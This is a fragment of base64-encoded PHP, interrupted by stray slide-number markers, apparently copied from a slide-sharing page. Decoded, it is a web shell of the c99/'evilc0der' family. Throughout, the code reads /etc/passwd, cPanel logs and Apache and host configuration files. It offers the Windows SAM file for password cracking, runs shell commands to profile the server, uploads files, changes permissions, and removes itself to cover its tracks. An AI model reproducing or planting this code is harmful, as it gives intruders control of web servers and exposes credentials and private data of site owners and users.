ICAgJGkrKzsNCiAgIH0NCiAgfQ0KICBlbHNlIHtlY2hvICI8YnI+PGEgaHJlZj1cIiNcIiBvbmNs aWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NlY3VyaXR5Jztkb2N1bWVudC50b2RvLmQu dmFsdWU9JyIuJHVkLiInO2RvY3VtZW50LnRvZG8ubml4cGFzc3dkLnZhbHVlPScxJztkb2N1bWVu dC50b2RvLnN1Ym1pdCgpO1wiPjxiPjx1PkdldCAvZXRjL3Bhc3N3ZDwvdT48L2I+PC9hPjxicj4i O30NCiB9DQogZWxzZQ0KIHsNCiAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2Ft IjsNCiAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkge2VjaG8gIjxiPjxmb250IGNvbG9yPXJl ZD5Zb3UgY2FuJ3QgY3JhY2sgd2lubnQgcGFzc3dvcmRzKCIuJHYuIikgPC9mb250PjwvYj48YnI+ Ijt9DQogIGVsc2Uge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPllvdSBjYW4gY3JhY2sgd2lu bnQgcGFzc3dvcmRzLiA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52 YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSdzYW0nO2RvY3VtZW50LnRvZG8uZC52YWx1 ZT0nIi4kX1NFUlZFUlsiV0lORElSIl0uIlwvcmVwYWlyJztkb2N1bWVudC50b2RvLmZ0LnZhbHVl PSdkb3dubG9hZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48dT48Yj5Eb3dubG9hZDwvYj48 L3U+PC9hPiwgYW5kIHVzZSBsY3AuY3JhY2srIKkuPC9mb250PjwvYj48YnI+Ijt9DQogfQ0KIGlm IChmaWxlX2dldF9jb250ZW50cygiL2V0Yy91c2VyZG9tYWlucyIpKSB7ZWNobyAiPGI+PGZvbnQg Y29sb3I9Z3JlZW4+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFs dWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0ndXNlcmRvbWFpbnMnO2RvY3VtZW50LnRvZG8u ZC52YWx1ZT0nIi51cmxlbmNvZGUoIi9ldGMiKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSd0 eHQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PHU+PGI+VmlldyBjcGFuZWwgdXNlci1kb21h aW5zIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29u
  • 29. dGVudHMoIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIikpIHtlY2hvICI8Yj48Zm9udCBjb2xv cj1ncmVlbj48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0n Zic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSdhY2NvdW50aW5nLmxvZyc7ZG9jdW1lbnQudG9kby5k LnZhbHVlPSciLnVybGVuY29kZSgiL3Zhci9jcGFuZWwvIikuIic7ZG9jdW1lbnQudG9kby5mdC52 YWx1ZT0ndHh0Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PjxiPlZpZXcgY3BhbmVsIGxv Z3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMo Ii91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29s b3I9Z3JlZW4+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9 J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0naHR0cGQuY29uZic7ZG9jdW1lbnQudG9kby5kLnZh bHVlPSciLnVybGVuY29kZSgiL3Vzci9sb2NhbC9hcGFjaGUvY29uZiIpLiInO2RvY3VtZW50LnRv ZG8uZnQudmFsdWU9J3R4dCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48dT48Yj5BcGFjaGUg Y29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30N CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZv bnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3Qu dmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0naHR0cGQuY29uZic7ZG9jdW1lbnQudG9k by5kLnZhbHVlPSciLnVybGVuY29kZSgiL2V0YyIpLiInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9 J3R4dCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlv biAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9n ZXRfY29udGVudHMoIi9ldGMvc3lzbG9nLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdy ZWVuPjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztk b2N1bWVudC50b2RvLmYudmFsdWU9J3N5c2xvZy5jb25mJztkb2N1bWVudC50b2RvLmQudmFsdWU9 JyIudXJsZW5jb2RlKCIvZXRjIikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0ndHh0Jztkb2N1 bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PjxiPlN5c2xvZyBjb25maWd1cmF0aW9uIChzeXNsb2cu Y29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVu dHMoIi9ldGMvbW90ZCIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiNc IiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52 YWx1ZT0nbW90ZCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgiL2V0YyIpLiIn O2RvY3VtZW50LnRvZG8uZnQudmFsdWU9J3R4dCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48 dT48Yj5NZXNzYWdlIE9mIFRoZSBEYXk8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBp ZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaG9zdHMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9y PWdyZWVuPjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdm Jztkb2N1bWVudC50b2RvLmYudmFsdWU9J2hvc3RzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIu dXJsZW5jb2RlKCIvZXRjIikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0ndHh0Jztkb2N1bWVu dC50b2RvLnN1Ym1pdCgpO1wiPjx1PjxiPkhvc3RzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+ Ijt9DQogZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7aWYgKCFlbXB0eSgk dmFsdWUpKSB7aWYgKCFlbXB0eSgkbmFtZSkpIHskbmFtZSA9ICI8Yj4iLiRuYW1lLiIgLSA8L2I+ Ijt9IGVjaG8gJG5hbWUubmwyYnIoJHZhbHVlKS4iPGJyPiI7fX0NCiBkaXNwbGF5c2VjaW5mbygi T1MgVmVyc2lvbj8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsNCiBkaXNwbGF5 c2VjaW5mbygiS2VybmVsIHZlcnNpb24/IixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2 ZXJzaW9uIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIG5hbWUiLG15c2hlbGxleGVjKCJj YXQgL2V0Yy9pc3N1ZS5uZXQiKSk7DQogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSAoMiki LG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogZGlzcGxheXNlY2luZm8oIkNQ VT8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiBkaXNwbGF5c2VjaW5mbygi UkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSEREIHNwYWNl IixteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmli dXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiTW91bnQg b3B0aW9ucyAiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsNCiBkaXNwbGF5c2VjaW5m bygiSXMgY1VSTCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsNCiBkaXNw bGF5c2VjaW5mbygiSXMgbHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIp KTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgbGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndo aWNoIGxpbmtzIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBmZXRjaCBpbnN0YWxsZWQ/IixteXNo ZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7DQogZGlzcGxheXNlY2luZm8oIklzIEdFVCBpbnN0YWxs ZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBwZXJs IGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOw0KIGRpc3BsYXlzZWNpbmZv KCJXaGVyZSBpcyBhcGFjaGUiLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsNCiBkaXNw bGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7 DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2Nh dGUgcHJvZnRwZC5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgaHR0cGQuY29uZiIs bXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2Nh
  • 30. dGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOw0KIGRpc3BsYXlzZWNp bmZvKCJsb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYi KSk7DQp9DQppZiAoJGFjdCA9PSAibWtmaWxlIikNCnsNCiBpZiAoJG1rZmlsZSAhPSAkZCkNCiB7 DQogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRt bHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQ0K ICBlbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0 bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fQ0KICBlbHNl IHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJG1rZmlsZSk7IGlmIChzdWJzdHIoJGQsLTEpICE9 IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gJGYgPSBi YXNlbmFtZSgkbWtmaWxlKTt9DQogfQ0KIGVsc2UgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQp9 DQppZiAoJGFjdCA9PSAiZnNidWZmIikNCnsNCiAkYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5 Il07DQogJGFycl9jdXQgPSAkc2Vzc19kYXRhWyJjdXQiXTsNCiAkYXJyID0gYXJyYXlfbWVyZ2Uo JGFycl9jb3B5LCRhcnJfY3V0KTsNCiBpZiAoY291bnQoJGFycikgPT0gMCkge2VjaG8gIjxjZW50 ZXI+PGI+QnVmZmVyIGlzIGVtcHR5ITwvYj48L2NlbnRlcj4iO30NCiBlbHNlIHtlY2hvICI8Yj5G aWxlLVN5c3RlbSBidWZmZXI8L2I+PGJyPjxicj4iOyAkbHNfYXJyID0gJGFycjsgJGRpc3BfZnVs bHBhdGggPSBUUlVFOyAkYWN0ID0gImxzIjt9DQp9DQppZiAoJGFjdCA9PSAic2VsZnJlbW92ZSIp DQp7DQogaWYgKCgkc3VibWl0ID09ICRybmRjb2RlKSBhbmQgKCRzdWJtaXQgIT0gIiIpKQ0KIHsN CiAgaWYgKHVubGluayhfX0ZJTEVfXykpIHtAb2JfY2xlYW4oKTsgZWNobyAiVGhhbmtzIGZvciB1 c2luZyBldmlsYzBkZXIgIi4kc2h2ZXIuIiEiOyBjOTlzaGV4aXQoKTsgfQ0KICBlbHNlIHtlY2hv ICI8Y2VudGVyPjxiPkNhbid0IGRlbGV0ZSAiLl9fRklMRV9fLiIhPC9iPjwvY2VudGVyPiI7fQ0K IH0NCiBlbHNlDQogew0KICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBp bmNvcnJlY3QgY29uZmltYXRpb24hPC9iPiI7fQ0KICAkcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5 KS5yYW5kKDAsOSk7DQogIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1o aWRkZW4gbmFtZT1hY3QgdmFsdWU9c2VsZnJlbW92ZT48Yj5TZWxmLXJlbW92ZTogIi5fX0ZJTEVf Xy4iIDxicj48Yj5BcmUgeW91IHN1cmU/PGJyPkZvciBjb25maXJtYXRpb24sIGVudGVyIFwiIi4k cm5kLiJcIjwvYj46Jm5ic3A7PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cm5kY29kZSB2YWx1ZT1c IiIuJHJuZC4iXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1Ym1pdD4mbmJzcDs8aW5wdXQgdHlw ZT1zdWJtaXQgdmFsdWU9XCJZRVNcIj48L2Zvcm0+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAic2Vh cmNoIikNCnsNCiBlY2hvICI8Yj5TZWFyY2ggaW4gZmlsZS1zeXN0ZW06PC9iPjxicj4iOw0KIGlm IChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9DQogaWYgKGVtcHR5KCRzZWFy Y2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAx O30NCiBpZiAoZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykpIHskc2VhcmNoX3RleHRfcmVnZXhwID0g MDt9DQogaWYgKCFlbXB0eSgkc3VibWl0KSkNCiB7DQogICRmb3VuZCA9IGFycmF5KCk7DQogICRm b3VuZF9kID0gMDsNCiAgJGZvdW5kX2YgPSAwOw0KICAkc2VhcmNoX2lfZiA9IDA7DQogICRzZWFy Y2hfaV9kID0gMDsNCiAgJGEgPSBhcnJheQ0KICAoDQogICAibmFtZSI9PiRzZWFyY2hfbmFtZSwg Im5hbWVfcmVnZXhwIj0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwNCiAgICJ0ZXh0Ij0+JHNlYXJjaF90 ZXh0LCAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAidGV4dF93d28iPT4k c2VhcmNoX3RleHRfd3dvLA0KICAgInRleHRfY3MiPT4kc2VhcmNoX3RleHRfY3MsDQogICAidGV4 dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICk7DQogICRzZWFyY2h0aW1lID0gZ2V0bWljcm90 aW1lKCk7DQogICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQog IGZvcmVhY2goJGluIGFzICR2KSB7Yzk5ZnNlYXJjaCgkdik7fQ0KICAkc2VhcmNodGltZSA9IHJv dW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOw0KICBpZiAoY291bnQoJGZvdW5kKSA9 PSAwKSB7ZWNobyAiPGI+Tm8gZmlsZXMgZm91bmQhPC9iPiI7fQ0KICBlbHNlDQogIHsNCiAgICRs c19hcnIgPSAkZm91bmQ7DQogICAkZGlzcF9mdWxscGF0aCA9IFRSVUU7DQogICAkYWN0ID0gImxz IjsNCiAgfQ0KIH0NCiBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD4NCjxpbnB1dCB0eXBlPWhpZGRl biBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l PWFjdCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+DQo8Yj5TZWFyY2ggZm9yIChmaWxlL2ZvbGRlciBu YW1lKTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfbmFtZVwiIHNpemU9 XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX25hbWUpKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVj aWFsY2hhcnMoJHNlYXJjaF9uYW1lKS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwi IG5hbWU9XCJzZWFyY2hfbmFtZV9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX25hbWVf cmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSByZWdleHANCjxicj48Yj5TZWFyY2ggaW4g KGV4cGxvZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9p blwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5o dG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj4NCjxicj48YnI+PGI+VGV4dDo8L2I+PGJy Pjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+ Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+DQo8YnI+PGJyPjxp bnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfcmVnZXhwXCIgdmFsdWU9 XCIxXCIgIi4oJHNlYXJjaF90ZXh0X3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gcmVn
  • 31. ZXhwDQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90 ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF93d28gPT0gMT8iIGNoZWNrZWQi OiIiKS4iPiAtIDx1Pnc8L3U+aG9sZSB3b3JkcyBvbmx5DQombmJzcDsmbmJzcDs8aW5wdXQgdHlw ZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNl YXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBjYXM8dT5lPC91PiBzZW5zaXRp dmUNCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3Rl eHRfbm90XCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X25vdCA9PSAxPyIgY2hlY2tlZCI6 IiIpLiI+IC0gZmluZCBmaWxlcyA8dT5OT1Q8L3U+IGNvbnRhaW5pbmcgdGhlIHRleHQNCjxicj48 YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9mb3Jt PiI7DQogaWYgKCRhY3QgPT0gImxzIikgeyRkc3BhY3QgPSAkYWN0OyBlY2hvICI8aHIgc2l6ZT1c IjFcIiBub3NoYWRlPjxiPlNlYXJjaCB0b29rICIuJHNlYXJjaHRpbWUuIiBzZWNzICgiLiRzZWFy Y2hfaV9mLiIgZmlsZXMgYW5kICIuJHNlYXJjaF9pX2QuIiBmb2xkZXJzLCAiLnJvdW5kKCgkc2Vh cmNoX2lfZiskc2VhcmNoX2lfZCkvJHNlYXJjaHRpbWUsNCkuIiBvYmplY3RzIHBlciBzZWNvbmQp LjwvYj48YnI+PGJyPiI7fQ0KfQ0KaWYgKCRhY3QgPT0gImNobW9kIikNCnsNCiAkbW9kZSA9IGZp bGVwZXJtcygkZC4kZik7DQogaWYgKCEkbW9kZSkge2VjaG8gIjxiPkNoYW5nZSBmaWxlLW1vZGUg d2l0aCBlcnJvcjo8L2I+IGNhbid0IGdldCBjdXJyZW50IHZhbHVlLiI7fQ0KIGVsc2UNCiB7DQog ICRmb3JtID0gVFJVRTsNCiAgaWYgKCRjaG1vZF9zdWJtaXQpDQogIHsNCiAgICRvY3RldCA9ICIw Ii5iYXNlX2NvbnZlcnQoKCRjaG1vZF9vWyJyIl0/MTowKS4oJGNobW9kX29bInciXT8xOjApLigk Y2htb2Rfb1sieCJdPzE6MCkuKCRjaG1vZF9nWyJyIl0/MTowKS4oJGNobW9kX2dbInciXT8xOjAp LigkY2htb2RfZ1sieCJdPzE6MCkuKCRjaG1vZF93WyJyIl0/MTowKS4oJGNobW9kX3dbInciXT8x OjApLigkY2htb2Rfd1sieCJdPzE6MCksMiw4KTsNCiAgIGlmIChjaG1vZCgkZC4kZiwkb2N0ZXQp KSB7JGFjdCA9ICJscyI7ICRmb3JtID0gRkFMU0U7ICRlcnIgPSAiIjt9DQogICBlbHNlIHskZXJy ID0gIkNhbid0IGNobW9kIHRvICIuJG9jdGV0LiIuIjt9DQogIH0NCiAgaWYgKCRmb3JtKQ0KICB7 DQogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9kZSk7DQogICBlY2hvICI8Yj5DaGFuZ2luZyBm aWxlLW1vZGUgKCIuJGQuJGYuIiksICIudmlld19wZXJtc19jb2xvcigkZC4kZikuIiAoIi5zdWJz dHIoZGVjb2N0KGZpbGVwZXJtcygkZC4kZikpLC00LDQpLiIpPC9iPjxicj4iLigkZXJyPyI8Yj5F cnJvcjo8L2I+ICIuJGVycjoiIikuIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1Q T1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMo JGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNo YXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNobW9kPjx0YWJs ZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5n PTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9 Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZu YnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEi LigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0 IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJd PyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlu cHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsi ciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBO QU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIiku Ij4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFs dWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250Pjwv dGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1v ZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7 UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRw ZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlw ZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBj aGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBl PXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJs ZT48L2Zvcm0+IjsNCiAgfQ0KIH0NCn0NCmlmICgkYWN0ID09ICJ1cGxvYWQiKQ0Kew0KICR1cGxv YWRtZXNzID0gIiI7DQogJHVwbG9hZHBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9T RVBBUkFUT1IsJHVwbG9hZHBhdGgpOw0KIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2Fk cGF0aCA9ICRkO30NCiBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gIi8iKSB7JHVw bG9hZHBhdGggLj0gIi8iO30NCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgZ2xvYmFsICRI VFRQX1BPU1RfRklMRVM7DQogICR1cGxvYWRmaWxlID0gJEhUVFBfUE9TVF9GSUxFU1sidXBsb2Fk ZmlsZSJdOw0KICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdKSkNCiAgew0KICAg aWYgKGVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVbIm5hbWUi XTt9DQogICBlbHNlIHskZGVzdGluID0gJHVzZXJmaWxlbmFtZTt9DQogICBpZiAoIW1vdmVfdXBs b2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSkg
  • 32. eyR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1l Il0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4k dXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+Ijt9DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJHVw bG9hZHVybCkpDQogIHsNCiAgIGlmICghZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4g PSAkdXBsb2FkZmlsZW5hbWU7fQ0KICAgZWxzZQ0KICAgew0KICAgICRkZXN0aW4gPSBleHBsb2Rl KCIvIiwkZGVzdGluKTsNCiAgICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsN CiAgICBpZiAoZW1wdHkoJGRlc3RpbikpDQogICAgew0KICAgICAkaSA9IDA7DQogICAgICRiID0g IiI7DQogICAgIHdoaWxlKGZpbGVfZXhpc3RzKCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7aWYgKCRp ID4gMCkgeyRiID0gIl8iLiRpO30gJGRlc3RpbiA9ICJpbmRleCIuJGIuIi5odG1sIjsgJGkrKzt9 